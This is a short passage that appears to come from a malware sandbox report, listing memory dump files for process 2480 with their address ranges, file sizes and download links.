Filesize
44KB

Download
memory/2480-457-0x000000006A7C0000-0x000000006AD6B000-memory.dmp

Filesize
5.7MB

Download
memory/2480-458-0x00000000027E0000-0x0000000002820000-memory.dmp

Filesize
256KB

Download
memory/2480-459-0x000000006A7C0000-0x000000006AD6B000-memory.dmp

Filesize
5.7MB

Download
memory/2480-460-0x00000000027E0000-0x0000000002820000-memory.dmp

Filesize
256KB

Download
memory/2480-478-0x000000006A7C0000-0x000000006AD6B000-memory.dmp

Filesize
5.7MB

Download